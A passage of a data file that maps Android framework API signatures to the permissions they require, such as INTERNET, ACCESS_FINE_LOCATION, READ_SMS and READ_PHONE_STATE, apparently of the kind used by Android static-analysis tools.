"Landroid/app/Activity;-ConfigurationChanges-I": "NFC",
"Landroid/app/Activity;-StartingActivities-I": "NFC",
"Landroid/app/Activity;-SavingPersistentState-I": "NFC",
"Landroid/app/Activity;-Permissions-I": "NFC",
"Landroid/app/Activity;-ProcessLifecycle-I": "NFC",
"Landroid/nfc/tech/MifareClassic;-KEY_NFC_FORUM-[B": "NFC",
"Landroid/nfc/tech/MifareClassic;-authenticateSectorWithKeyA-(I [B)": "NFC",
"Landroid/nfc/tech/MifareClassic;-authenticateSectorWithKeyB-(I [B)": "NFC",
"Landroid/nfc/tech/MifareClassic;-close-()": "NFC",
"Landroid/nfc/tech/MifareClassic;-connect-()": "NFC",
"Landroid/nfc/tech/MifareClassic;-decrement-(I I)": "NFC",
"Landroid/nfc/tech/MifareClassic;-increment-(I I)": "NFC",
"Landroid/nfc/tech/MifareClassic;-readBlock-(I)": "NFC",
"Landroid/nfc/tech/MifareClassic;-restore-(I)": "NFC",
"Landroid/nfc/tech/MifareClassic;-transceive-([B)": "NFC",
"Landroid/nfc/tech/MifareClassic;-transfer-(I)": "NFC",
"Landroid/nfc/tech/MifareClassic;-writeBlock-(I [B)": "NFC",
"Landroid/nfc/Tag;-getTechList-()": "NFC",
"Landroid/app/Service;-WhatIsAService-I": "NFC",
"Landroid/app/Service;-ServiceLifecycle-I": "NFC",
"Landroid/app/Service;-Permissions-I": "NFC",
"Landroid/app/Service;-ProcessLifecycle-I": "NFC",
"Landroid/app/Service;-LocalServiceSample-I": "NFC",
"Landroid/app/Service;-RemoteMessengerServiceSample-I": "NFC",
"Landroid/nfc/NfcManager;-getDefaultAdapter-()": "NFC",
"Landroid/nfc/tech/MifareUltralight;-close-()": "NFC",
"Landroid/nfc/tech/MifareUltralight;-connect-()": "NFC",
"Landroid/nfc/tech/MifareUltralight;-readPages-(I)": "NFC",
"Landroid/nfc/tech/MifareUltralight;-transceive-([B)": "NFC",
"Landroid/nfc/tech/MifareUltralight;-writePage-(I [B)": "NFC",
"Landroid/nfc/tech/NfcV;-close-()": "NFC",
"Landroid/nfc/tech/NfcV;-connect-()": "NFC",
"Landroid/nfc/tech/NfcV;-get-(Landroid/nfc/Tag;)": "NFC",
"Landroid/nfc/tech/NfcV;-transceive-([B)": "NFC",
"Landroid/nfc/tech/TagTechnology;-close-()": "NFC",
"Landroid/nfc/tech/TagTechnology;-connect-()": "NFC",
"Landroid/preference/PreferenceActivity;-SampleCode-Ljava/lang/String;": "NFC",
"Landroid/content/pm/PackageManager;-FEATURE_NFC-Ljava/lang/String;": "NFC",
"Landroid/content/Context;-NFC_SERVICE-Ljava/lang/String;": "NFC",
"Landroid/nfc/tech/Ndef;-NFC_FORUM_TYPE_1-Ljava/lang/String;": "NFC",
"Landroid/nfc/tech/Ndef;-NFC_FORUM_TYPE_2-Ljava/lang/String;": "NFC",
"Landroid/nfc/tech/Ndef;-NFC_FORUM_TYPE_3-Ljava/lang/String;": "NFC",
"Landroid/nfc/tech/Ndef;-NFC_FORUM_TYPE_4-Ljava/lang/String;": "NFC",
"Landroid/nfc/tech/Ndef;-close-()": "NFC",
"Landroid/nfc/tech/Ndef;-connect-()": "NFC",
"Landroid/nfc/tech/Ndef;-getType-()": "NFC",
"Landroid/nfc/tech/Ndef;-isWritable-()": "NFC",
"Landroid/nfc/tech/Ndef;-makeReadOnly-()": "NFC",
"Landroid/nfc/tech/Ndef;-writeNdefMessage-(Landroid/nfc/NdefMessage;)": "NFC",
"Landroid/nfc/tech/IsoDep;-close-()": "NFC",
"Landroid/nfc/tech/IsoDep;-connect-()": "NFC",
"Landroid/nfc/tech/IsoDep;-setTimeout-(I)": "NFC",
"Landroid/nfc/tech/IsoDep;-transceive-([B)": "NFC",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-call-(Ljava/lang/String;)":
"CALL_PHONE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-endCall-()": "CALL_PHONE",
"Lcom/android/http/multipart/FilePart;-sendData-(Ljava/io/OutputStream;)":
"INTERNET",
"Lcom/android/http/multipart/FilePart;-sendDispositionHeader-(Ljava/io/OutputStream;)":
"INTERNET",
"Ljava/net/HttpURLConnection;-<init>-(Ljava/net/URL;)": "INTERNET",
"Ljava/net/HttpURLConnection;-connect-()": "INTERNET",
"Landroid/webkit/WebSettings;-setBlockNetworkLoads-(B)": "INTERNET",
"Landroid/webkit/WebSettings;-verifyNetworkAccess-()": "INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-<init>-()": "INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-<init>-(Lorg/apache/http/params/HttpParams;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-<init>-(Lorg/apache/http/conn/ClientConnectionManager; Lorg/apache/http/params/HttpParams;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest;)":
"INTERNET",
"Lorg/apache/http/impl/client/DefaultHttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest;)":
"INTERNET",
"Lorg/apache/http/impl/client/HttpClient;-execute-(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)":
"INTERNET",
"Lcom/android/http/multipart/Part;-send-(Ljava/io/OutputStream;)": "INTERNET",
"Lcom/android/http/multipart/Part;-sendParts-(Ljava/io/OutputStream; [Lcom/android/http/multipart/Part;)":
"INTERNET",
"Lcom/android/http/multipart/Part;-sendParts-(Ljava/io/OutputStream; [Lcom/android/http/multipart/Part; [B)":
"INTERNET",
"Lcom/android/http/multipart/Part;-sendStart-(Ljava/io/OutputStream;)": "INTERNET",
"Lcom/android/http/multipart/Part;-sendTransferEncodingHeader-(Ljava/io/OutputStream;)":
"INTERNET",
"Landroid/drm/DrmErrorEvent;-TYPE_NO_INTERNET_CONNECTION-I": "INTERNET",
"Landroid/webkit/WebViewCore;-<init>-(Landroid/content/Context; Landroid/webkit/WebView; Landroid/webkit/CallbackProxy; Ljava/util/Map;)":
"INTERNET",
"Ljava/net/URLConnection;-connect-()": "INTERNET",
"Ljava/net/URLConnection;-getInputStream-()": "INTERNET",
"Landroid/app/Activity;-setContentView-(I)": "INTERNET",
"Ljava/net/MulticastSocket;-<init>-()": "INTERNET",
"Ljava/net/MulticastSocket;-<init>-(I)": "INTERNET",
"Ljava/net/MulticastSocket;-<init>-(Ljava/net/SocketAddress;)": "INTERNET",
"Lcom/android/http/multipart/StringPart;-sendData-(Ljava/io/OuputStream;)":
"INTERNET",
"Ljava/net/URL;-getContent-([Ljava/lang/Class;)": "INTERNET",
"Ljava/net/URL;-getContent-()": "INTERNET",
"Ljava/net/URL;-openConnection-(Ljava/net/Proxy;)": "INTERNET",
"Ljava/net/URL;-openConnection-()": "INTERNET",
"Ljava/net/URL;-openStream-()": "INTERNET",
"Ljava/net/DatagramSocket;-<init>-()": "INTERNET",
"Ljava/net/DatagramSocket;-<init>-(I)": "INTERNET",
"Ljava/net/DatagramSocket;-<init>-(I Ljava/net/InetAddress;)": "INTERNET",
"Ljava/net/DatagramSocket;-<init>-(Ljava/net/SocketAddress;)": "INTERNET",
"Ljava/net/ServerSocket;-<init>-()": "INTERNET",
"Ljava/net/ServerSocket;-<init>-(I)": "INTERNET",
"Ljava/net/ServerSocket;-<init>-(I I)": "INTERNET",
"Ljava/net/ServerSocket;-<init>-(I I Ljava/net/InetAddress;)": "INTERNET",
"Ljava/net/ServerSocket;-bind-(Ljava/net/SocketAddress;)": "INTERNET",
"Ljava/net/ServerSocket;-bind-(Ljava/net/SocketAddress; I)": "INTERNET",
"Ljava/net/Socket;-<init>-()": "INTERNET",
"Ljava/net/Socket;-<init>-(Ljava/lang/String; I)": "INTERNET",
"Ljava/net/Socket;-<init>-(Ljava/lang/String; I Ljava/net/InetAddress; I)":
"INTERNET",
"Ljava/net/Socket;-<init>-(Ljava/lang/String; I B)": "INTERNET",
"Ljava/net/Socket;-<init>-(Ljava/net/InetAddress; I)": "INTERNET",
"Ljava/net/Socket;-<init>-(Ljava/net/InetAddress; I Ljava/net/InetAddress; I)":
"INTERNET",
"Ljava/net/Socket;-<init>-(Ljava/net/InetAddress; I B)": "INTERNET",
"Landroid/webkit/WebView;-<init>-(Landroid/content/Context; Landroid/util/AttributeSet; I)":
"INTERNET",
"Landroid/webkit/WebView;-<init>-(Landroid/content/Context; Landroid/util/AttributeSet;)":
"INTERNET",
"Landroid/webkit/WebView;-<init>-(Landroid/content/Context;)": "INTERNET",
"Ljava/net/NetworkInterface;-<init>-()": "INTERNET",
"Ljava/net/NetworkInterface;-<init>-(Ljava/lang/String; I Ljava/net/InetAddress;)":
"INTERNET",
"Landroid/webkit/WebChromeClient;-onGeolocationPermissionsShowPrompt-(Ljava/lang/String; Landroid/webkit/GeolocationPermissions/Callback;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-GPS_PROVIDER-Ljava/lang/String;":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-NETWORK_PROVIDER-Ljava/lang/String;":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-PASSIVE_PROVIDER-Ljava/lang/String;":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-addGpsStatusListener-(Landroid/location/GpsStatus/Listener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-addNmeaListener-(Landroid/location/GpsStatus/NmeaListener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-_requestLocationUpdates-(Ljava/lang/String; J F Landroid/app/PendingIntent;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-_requestLocationUpdates-(Ljava/lang/String; J F Landroid/location/LocationListener; Landroid/os/Looper;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-addGpsStatusListener-(Landroid/location/GpsStatus$Listener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-addNmeaListener-(Landroid/location/GpsStatus$NmeaListener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-addProximityAlert-(D D F J Landroid/app/PendingIntent;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-best-(Ljava/util/List;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-getBestProvider-(Landroid/location/Criteria; B)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-getLastKnownLocation-(Ljava/lang/String;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-getProvider-(Ljava/lang/String;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-getProviders-(Landroid/location/Criteria; B)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-getProviders-(B)": "ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-isProviderEnabled-(Ljava/lang/String;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-requestLocationUpdates-(Ljava/lang/String; J F Landroid/app/PendingIntent;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-requestLocationUpdates-(Ljava/lang/String; J F Landroid/location/LocationListener; Landroid/os/Looper;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-requestLocationUpdates-(Ljava/lang/String; J F Landroid/location/LocationListener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/LocationManager;-sendExtraCommand-(Ljava/lang/String; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCESS_FINE_LOCATION",
"Landroid/webkit/GeolocationService;-registerForLocationUpdates-()":
"ACCESS_FINE_LOCATION",
"Landroid/webkit/GeolocationService;-setEnableGps-(B)": "ACCESS_FINE_LOCATION",
"Landroid/webkit/GeolocationService;-start-()": "ACCESS_FINE_LOCATION",
"Landroid/telephony/TelephonyManager;-getCellLocation-()": "ACCESS_FINE_LOCATION",
"Landroid/telephony/TelephonyManager;-getCellLocation-()": "ACCESS_FINE_LOCATION",
"Landroid/telephony/TelephonyManager;-getNeighboringCellInfo-()":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-addGpsStatusListener-(Landroid/location/IGpsStatusListener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-addProximityAlert-(D D F J Landroid/app/PendingIntent;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-getLastKnownLocation-(Ljava/lang/String;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-getProviderInfo-(Ljava/lang/String;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-getProviders-(B)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-isProviderEnabled-(Ljava/lang/String;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-requestLocationUpdates-(Ljava/lang/String; J F Landroid/location/ILocationListener;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-requestLocationUpdatesPI-(Ljava/lang/String; J F Landroid/app/PendingIntent;)":
"ACCESS_FINE_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-sendExtraCommand-(Ljava/lang/String; Ljava/lang/String; Landroid/os/Bundle;)":
"ACCESS_FINE_LOCATION",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-getCellLocation-()":
"ACCESS_FINE_LOCATION",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-getNeighboringCellInfo-()":
"ACCESS_FINE_LOCATION",
"Landroid/webkit/GeolocationPermissions$Callback;-invok-()": "ACCESS_FINE_LOCATION",
"Landroid/provider/Telephony$Sms$Inbox;-addMessage-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B)":
"READ_SMS",
"Landroid/provider/Telephony$Threads;-getOrCreateThreadId-(Landroid/content/Context; Ljava/lang/String;)":
"READ_SMS",
"Landroid/provider/Telephony$Threads;-getOrCreateThreadId-(Landroid/content/Context; Ljava/util/Set;)":
"READ_SMS",
"Landroid/provider/Telephony$Mms;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)":
"READ_SMS",
"Landroid/provider/Telephony$Mms;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin;)":
"READ_SMS",
"Landroid/provider/Telephony$Sms$Draft;-addMessage-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long;)":
"READ_SMS",
"Landroid/provider/Telephony$Sms$Sent;-addMessage-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long;)":
"READ_SMS",
"Landroid/provider/Telephony$Sms;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin; Ljava/lang/String; Ljava/lang/String;)":
"READ_SMS",
"Landroid/provider/Telephony$Sms;-query-(Landroid/content/ContentResolver; [L[Ljava/lang/Strin;)":
"READ_SMS",
"Landroid/view/SurfaceSession;-<init>-()": "ACCESS_SURFACE_FLINGER",
"Landroid/view/Surface;-closeTransaction-()": "ACCESS_SURFACE_FLINGER",
"Landroid/view/Surface;-freezeDisplay-(I)": "ACCESS_SURFACE_FLINGER",
"Landroid/view/Surface;-setOrientation-(I I I)": "ACCESS_SURFACE_FLINGER",
"Landroid/view/Surface;-setOrientation-(I I)": "ACCESS_SURFACE_FLINGER",
"Landroid/view/Surface;-unfreezeDisplay-(I)": "ACCESS_SURFACE_FLINGER",
"Landroid/app/IActivityManager$Stub$Proxy;-moveTaskBackwards-(I)": "REORDER_TASKS",
"Landroid/app/IActivityManager$Stub$Proxy;-moveTaskToBack-(I)": "REORDER_TASKS",
"Landroid/app/IActivityManager$Stub$Proxy;-moveTaskToFront-(I)": "REORDER_TASKS",
"Landroid/app/ActivityManager;-moveTaskToFront-(I I)": "REORDER_TASKS",
"Landroid/net/sip/SipAudioCall;-setSpeakerMode-(B)": "MODIFY_AUDIO_SETTINGS",
"Landroid/server/BluetoothA2dpService;-checkSinkSuspendState-(I)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/server/BluetoothA2dpService;-handleSinkStateChange-(Landroid/bluetooth/BluetoothDevice;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/server/BluetoothA2dpService;-onBluetoothDisable-()":
"MODIFY_AUDIO_SETTINGS",
"Landroid/server/BluetoothA2dpService;-onBluetoothEnable-()":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/IAudioService$Stub$Proxy;-setBluetoothScoOn-(B)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/IAudioService$Stub$Proxy;-setMode-(I Landroid/os/IBinder;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/IAudioService$Stub$Proxy;-setSpeakerphoneOn-(B)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/IAudioService$Stub$Proxy;-startBluetoothSco-(Landroid/os/IBinder;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/IAudioService$Stub$Proxy;-stopBluetoothSco-(Landroid/os/IBinder;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioService;-setBluetoothScoOn-(B)": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioService;-setMode-(I Landroid/os/IBinder;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioService;-setSpeakerphoneOn-(B)": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioService;-startBluetoothSco-(Landroid/os/IBinder;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioService;-stopBluetoothSco-(Landroid/os/IBinder;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-startBluetoothSco-()": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-stopBluetoothSco-()": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-isBluetoothA2dpOn-()": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-isWiredHeadsetOn-()": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-setBluetoothScoOn-(B)": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-setMicrophoneMute-(B)": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-setMode-(I)": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-setParameter-(Ljava/lang/String; Ljava/lang/String;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-setParameters-(Ljava/lang/String;)":
"MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-setSpeakerphoneOn-(B)": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-startBluetoothSco-()": "MODIFY_AUDIO_SETTINGS",
"Landroid/media/AudioManager;-stopBluetoothSco-()": "MODIFY_AUDIO_SETTINGS",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getDeviceId-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getDeviceSvn-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getIccSerialNumber-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getLine1AlphaTag-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getLine1Number-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getSubscriberId-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getVoiceMailAlphaTag-()":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/IPhoneSubInfo$Stub$Proxy;-getVoiceMailNumber-()":
"READ_PHONE_STATE",
"Landroid/telephony/PhoneStateListener;-LISTEN_CALL_FORWARDING_INDICATOR-I":
"READ_PHONE_STATE",
"Landroid/telephony/PhoneStateListener;-LISTEN_CALL_STATE-I": "READ_PHONE_STATE",
"Landroid/telephony/PhoneStateListener;-LISTEN_DATA_ACTIVITY-I": "READ_PHONE_STATE",
"Landroid/telephony/PhoneStateListener;-LISTEN_MESSAGE_WAITING_INDICATOR-I":
"READ_PHONE_STATE",
"Landroid/telephony/PhoneStateListener;-LISTEN_SIGNAL_STRENGTH-I":
"READ_PHONE_STATE",
"Landroid/accounts/AccountManagerService$SimWatcher;-onReceive-(Landroid/content/Context; Landroid/content/Intent;)":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/CallerInfo;-markAsVoiceMail-()":
"READ_PHONE_STATE",
"Landroid/os/Build/VERSION_CODES;-DONUT-I": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-ACTION_PHONE_STATE_CHANGED-Ljava/lang/String;":
"READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getDeviceId-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getDeviceSoftwareVersion-()":
"READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getLine1Number-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getSimSerialNumber-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getSubscriberId-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getVoiceMailAlphaTag-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getVoiceMailNumber-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getDeviceId-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getDeviceSoftwareVersion-()":
"READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getLine1AlphaTag-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getLine1Number-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getSimSerialNumber-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getSubscriberId-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getVoiceMailAlphaTag-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-getVoiceMailNumber-()": "READ_PHONE_STATE",
"Landroid/telephony/TelephonyManager;-listen-(Landroid/telephony/PhoneStateListener; I)":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephonyRegistry$Stub$Proxy;-listen-(Ljava/lang/String; Lcom/android/internal/telephony/IPhoneStateListener; I B)":
"READ_PHONE_STATE",
"Landroid/telephony/PhoneNumberUtils;-isVoiceMailNumber-(Ljava/lang/String;)":
"READ_PHONE_STATE",
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;-isSimPinEnabled-()":
"READ_PHONE_STATE",
"Landroid/media/RingtoneManager;-setActualDefaultRingtoneUri-(Landroid/content/Context; I Landroid/net/Uri;)":
"WRITE_SETTINGS",
"Landroid/os/IPowerManager$Stub$Proxy;-setStayOnSetting-(I)": "WRITE_SETTINGS",
"Landroid/server/BluetoothService;-persistBluetoothOnSetting-(B)": "WRITE_SETTINGS",
"Landroid/provider/Settings$Secure;-putFloat-(Landroid/content/ContentResolver; Ljava/lang/String; F)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$Secure;-putInt-(Landroid/content/ContentResolver; Ljava/lang/String; I)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$Secure;-putLong-(Landroid/content/ContentResolver; Ljava/lang/String; J)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$Secure;-putString-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$Secure;-setLocationProviderEnabled-(Landroid/content/ContentResolver; Ljava/lang/String; B)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$Bookmarks;-add-(Landroid/content/ContentResolver; Landroid/content/Intent; Ljava/lang/String; Ljava/lang/String; C I)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$Bookmarks;-getIntentForShortcut-(Landroid/content/ContentResolver; C)":
"WRITE_SETTINGS",
"Landroid/os/IMountService$Stub$Proxy;-setAutoStartUm-()": "WRITE_SETTINGS",
"Landroid/os/IMountService$Stub$Proxy;-setPlayNotificationSound-()":
"WRITE_SETTINGS",
"Landroid/provider/Settings$System;-putConfiguration-(Landroid/content/ContentResolver; Landroid/content/res/Configuration;)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$System;-putFloat-(Landroid/content/ContentResolver; Ljava/lang/String; F)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$System;-putInt-(Landroid/content/ContentResolver; Ljava/lang/String; I)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$System;-putLong-(Landroid/content/ContentResolver; Ljava/lang/String; J)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$System;-putString-(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String;)":
"WRITE_SETTINGS",
"Landroid/provider/Settings$System;-setShowGTalkServiceStatus-(Landroid/content/ContentResolver; B)":
"WRITE_SETTINGS",
"Landroid/service/wallpaper/WallpaperService;-SERVICE_INTERFACE-Ljava/lang/String;":
"BIND_WALLPAPER",
"Lcom/android/server/WallpaperManagerService;-bindWallpaperComponentLocked-(Landroid/content/ComponentName;)":
"BIND_WALLPAPER",
"Landroid/content/ContentService;-dump-(Ljava/io/FileDescriptor; Ljava/io/PrintWriter; [L[Ljava/lang/Strin;)":
"DUMP",
"Landroid/view/IWindowManager$Stub$Proxy;-isViewServerRunning-()": "DUMP",
"Landroid/view/IWindowManager$Stub$Proxy;-startViewServer-(I)": "DUMP",
"Landroid/view/IWindowManager$Stub$Proxy;-stopViewServer-()": "DUMP",
"Landroid/os/Debug;-dumpService-(Ljava/lang/String; Ljava/io/FileDescriptor; [Ljava/lang/String;)":
"DUMP",
"Landroid/os/IBinder;-DUMP_TRANSACTION-I": "DUMP",
"Lcom/android/server/WallpaperManagerService;-dump-(Ljava/io/FileDescriptor; Ljava/io/PrintWriter; [L[Ljava/lang/Stri;)":
"DUMP",
"Landroid/accounts/AccountManager;-blockingGetAuthToken-(Landroid/accounts/Account; Ljava/lang/String; B)":
"USE_CREDENTIALS",
"Landroid/accounts/AccountManager;-getAuthToken-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"USE_CREDENTIALS",
"Landroid/accounts/AccountManager;-getAuthToken-(Landroid/accounts/Account; Ljava/lang/String; B Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"USE_CREDENTIALS",
"Landroid/accounts/AccountManager;-invalidateAuthToken-(Ljava/lang/String; Ljava/lang/String;)":
"USE_CREDENTIALS",
"Landroid/accounts/AccountManager;-blockingGetAuthToken-(Landroid/accounts/Account; Ljava/lang/String; B)":
"USE_CREDENTIALS",
